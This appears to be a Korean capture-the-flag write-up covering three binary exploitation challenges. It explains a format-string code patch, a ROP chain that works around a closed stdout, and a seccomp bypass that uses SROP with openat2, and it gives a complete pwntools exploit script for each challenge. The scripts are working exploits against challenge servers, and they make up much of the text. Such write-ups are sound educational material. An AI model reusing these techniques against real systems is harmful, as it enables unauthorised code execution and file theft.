partial RELRO, No PIE이다.
sys_mprotect()
syscall을 이용해서 code 영역의 일부의 권한을 rwx
로 바꾼다.
v0
로 부터 v3
만큼 떨어진 위치의 데이터를 읽어 1바이트만큼 원하는 데이터와 xor
시킨다.
즉, 스택에서 원하는 위치에 있는 값을 읽어와서 그 중 1바이트를 수정할 수 있다.
그 후 printf()
함수에서 FSB가 발생한다.
flag 값을 읽어와서 출력해 준다.
코드의 흐름을 이 함수로 변경해 주면 될 듯하다.
vuln 함수 내부에서의 스택 구조는 위와 같다.
잘 보면, rsp + 0x38
위치에 text 영역(특히 rwx
가 가능한 영역) 의 주소가 적혀있는 것을 확인할 수 있다.
또한, 이 0x4014de
의 주소에서 1바이트만큼을 xor
을 통해 수정한 후, FSB를 응용하면 실제 코드를 원하는 값으로 변경할 수 있을 것이다.
그런데 주소값은 1바이트만 수정이 가능하므로, 0x4014xx
주소의 코드만 FSB의 대상으로 할 수 있다.
어떤 주소의 코드를 바꿀 수 있을까?
어쨌든 0x4014xx
의 코드만 수정이 가능하고(사실 잘 쓰면 다른 코드 영역도 수정이 가능해 보이긴 하지만 여기서는 넘긴다.), printf()
호출 이후에 실행되는 코드를 수정하면 될 것이다.
objdump
를 해서 살펴보자.
call bye
부분의 코드를 call win
으로 바꾸면 될 것 같다.
우선 여기서 알아야 하는 점은, jmp
나 call
명령어의 경우, 기계어가 절대주소
값이 쓰이지 않고, rip
를 기준으로 offset 값으로 쓰이게 된다.
위 코드에서 call bye
부분을 보면,
e8 d6 fd ff ff
으로, 사실 call rip + 0xfffffdd6
과 동일하다.
그러므로, 이 offset 바이트를 FSB를 통해 바꾸면 될 것이다.
from pwn import *
# r = process("./chall")
r = remote("byte-modification-service.challs.csc.tf", 1337)
# r.interactive()
r.sendlineafter(b"which stack position do you want to use?\n", b"7")
r.sendlineafter(b"Byte Index?\n", b"0")
r.sendlineafter(b"xor with?\n", b"97")
r.sendafter(b"finally, do you have any feedback? it will surely help us improve our service.\n", b"%247c%9$hhnA@")
r.recvuntil(b"A")
r.interactive()
No canary, No PIE이다.
문제 이름에 걸맞게, 시작하자마자 stdout
을 닫아버린다.
0x400 크기의 BOF가 발생함을 알 수 있다.
No PIE 이므로, ROP를 사용하면 된다.
ROP 문제 답게, 필요한 여러 가젯들이 들어있다.
stdout이 닫혔는데 exploit을 어떻게 할 수 있을까 생각하다가 stdout 대신 stderr를 dup2를 통해서 fd 1에도 열게 된다면 가능하지 않을까 생각했다.
실제로도 도커파일을 보면,
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
FROM ubuntu:20.04 as chroot
RUN /usr/sbin/useradd --no-create-home -u 1000 user
COPY flag /
COPY chal /home/user/
FROM gcr.io/kctf-docker/challenge@sha256:0f7d757bcda470c3bbc063606335b915e03795d72ba1d8fdb6f0f9ff3757364f
COPY --from=chroot / /chroot
COPY nsjail.cfg /home/user/
CMD kctf_setup && \
kctf_drop_privs \
socat \
TCP-LISTEN:1337,reuseaddr,fork \
EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -Q -- /home/user/chal",stderr
이렇게 마지막에 명시적으로 stderr를 유저에게 열어주는 것을 확인할 수 있다.
ROP 문제이기 때문에 자세한 풀이 방법은 직접 설명하기 보단, 아래 익스플로잇 코드로 대체한다. (쓰기 귀찮기도 하고..)
from pwn import *
pop_rdi = 0x401293
pop_rsi_r15 = 0x401291
pop_rdx = 0x4011e2
add_rdi_rdx = 0x4011f6 # add rdi, rdx ; ret
mov_rdi_qword_rdx = 0x4011e9 # mov rdi, QWORD PTR [rdx] ; ret
mov_qword_rsp_rdx_rdi = 0x4011fa # mov QWORD PTR [rsp + rdx*1], rdi ; ret
read_got = 0x403fe0
payload = b"A" * 0x18
payload += p64(pop_rdx)
payload += p64(read_got)
payload += p64(mov_rdi_qword_rdx)
payload += p64(pop_rdx)
payload += p64(0x900)
payload += p64(add_rdi_rdx)
payload += p64(pop_rdx)
payload += p64(0x28)
payload += p64(mov_qword_rsp_rdx_rdi)
payload += p64(pop_rdi)
payload += p64(2)
payload += p64(pop_rsi_r15)
payload += p64(1)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(read_got)
payload += p64(mov_rdi_qword_rdx)
payload += p64(pop_rdx)
payload += p64(0xfffffffffff440b0)
payload += p64(add_rdi_rdx)
payload += p64(pop_rdx)
payload += p64(0x38)
payload += p64(mov_qword_rsp_rdx_rdi)
payload += p64(pop_rdx)
payload += p64(read_got)
payload += p64(mov_rdi_qword_rdx)
payload += p64(pop_rdx)
payload += p64(0xa63dd)
payload += p64(add_rdi_rdx)
payload += p64(pop_rdi+1)
# r = process("./chal", env={"LD_PRELOAD":"./libc.so.6"})
r = remote("silent-rop-v2.challs.csc.tf", 1337)
r.send(payload)
r.interactive()
엄청 큰 buffer overflow가 일어나는 문제이다.
checksec을 해 보면 결과는 위와 같다.
greeting()
함수를 보면 PIE의 base address에 대한 정보를 준다.
즉, 바이너리를 이용해서 ROP를 하면 되는 문제다.
이 문제에는 seccomp가 걸려있는데, 다음과 같다.
즉, execve()
, execveat()
이 모두 안 되는 상태에서
open(), openat()
또한 막아놓았다.
처음에는 쉘도 실행이 안 될 것이고, open 할 수 있는 방법도 없기 때문에 적용된 seccomp를 수정하는 방향으로 가려고 했다.
그런데 한 번 seccomp 설정이 적용되고 나면 그 이후에는 수정을 할 수 없다고 한다.
그래서 이 방법은 실패했다.
나중에 안 건데, open 관련 syscall 중에 open()
, openat()
말고도 최신에 나온 openat2()
도 있다고 한다.
내가 찾아볼 때에는 없었는데, 찾아보는 링크의 버전 업이 되지 않았던 것 같다.
syscall의 버전 / 아키텍쳐 별 정보를 알고 싶다면 아래의 링크를 참고하면 될 것 같다.
https://syscalls.mebeim.net/?table=x86/64/x64/latest
libc leak을 하기 위해 got
의 주소를 넣어놓고, puts()
함수를 호출하려고 했다.
그런데 pop rdi
가젯이 없음..
이것저것 하다가 우연히 seccomp_load()
함수가 호출에 실패하면 rdi
값이 그대로 유지되는 것을 이용해서 exploit을 하였다.
하지만 remote에서는 libseccomp
버전이 달랐는지 되지는 않더라..
최신 libc에서는 printf()
함수의 리턴 후 rdi
가 가리키는 값이 libc 내의 어떠한 변수를 가리키고 있다고 한다.
실제로 보면,,
위와 같이 rdi
가 가리키는 주소에 funlockfile
변수가 저장되어 있는 것을 확인할 수 있다.
그래서 이 사실을 이용해서 printf()
호출 후 바로 puts()
를 호출하게 된다면 libc leak이 가능하다.
이건 좀 별개이긴 한데, gets()
를 이용해서 pop rdi
를 대체하는 방법이라고 한다.
https://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets
from pwn import *
# r = process("./chal", env={"LD_PRELOAD":"./libc.so.6"})
r = remote("menu.challs.csc.tf", 1337)
r.recvuntil(b"\x1B[0;34m")
PIE_base = int(r.recvline()[:-1], 16) - 0x15fe
print(f"[+] PIE_base: {hex(PIE_base)}")
payload = b"A" * 0xd0
payload += p64(PIE_base + 0x4800 + 0xd0) # stack pivot
payload += p64(PIE_base + 0x101a) # ret
payload += p64(PIE_base + 0x10f0) # printf@plt
payload += p64(PIE_base + 0x10d0) # puts@plt
payload += p64(PIE_base + 0x1703) # 1703: 48 8d 85 30 ff ff ff lea rax,[rbp-0xd0]
# 170a: ba d0 07 00 00 mov edx,0x7d0
# 170f: 48 89 c6 mov rsi,rax
# 1712: bf 00 00 00 00 mov edi,0x0
# 1717: e8 e4 f9 ff ff call 1100 <read@plt>
# ...
# 173b: leave
# 173c: ret
r.recvuntil(b"What do you want to order today?\n")
# pause()
r.send(payload)
r.recvuntil(b"Your order is on its way!\n")
libc_base = u64(r.recvline()[:-1].ljust(8, b"\x00")) - 0x62050
print(f"[+] libc_base: {hex(libc_base)}")
pop_rdi = 0x2a3e5
pop_rsi = 0x2be51
pop_rdx_r12 = 0x11f2e7
syscall = 0x11e870 # libc syscall function
context.clear(arch="amd64")
frame = SigreturnFrame()
frame.rax = 0x1b5 # openat2
frame.rdi = -100 # AT_FDCWD
frame.rsi = PIE_base + 0x4800 + 0xd0 # "./flag\x00\x00"
frame.rdx = PIE_base + 0x4800 + 0x600 # unsigned long[3] = { NULL, NULL, NULL }
frame.r10 = 0x18 # size
frame.rip = libc_base + 0x11e88b # syscall
frame.rsp = PIE_base + 0x4800 + 0xf0 + len(frame)
payload = b"B" * 0xd0 # PIE_base + 0x4800
payload += b"./flag\x00\x00"
payload += p64(libc_base + pop_rdi)
payload += p64(0xf)
payload += p64(libc_base + syscall)
payload += bytes(frame)
payload += p64(libc_base + pop_rdi) # frame.rsp
payload += p64(3)
payload += p64(libc_base + pop_rsi)
payload += p64(PIE_base + 0x4800 + 0x600)
payload += p64(libc_base + pop_rdx_r12)
payload += p64(0x100)
payload += p64(0)
payload += p64(libc_base + 0x1147d0)
payload += p64(libc_base + pop_rdi)
payload += p64(1)
payload += p64(libc_base + 0x114870)
r.send(payload)
r.interactive()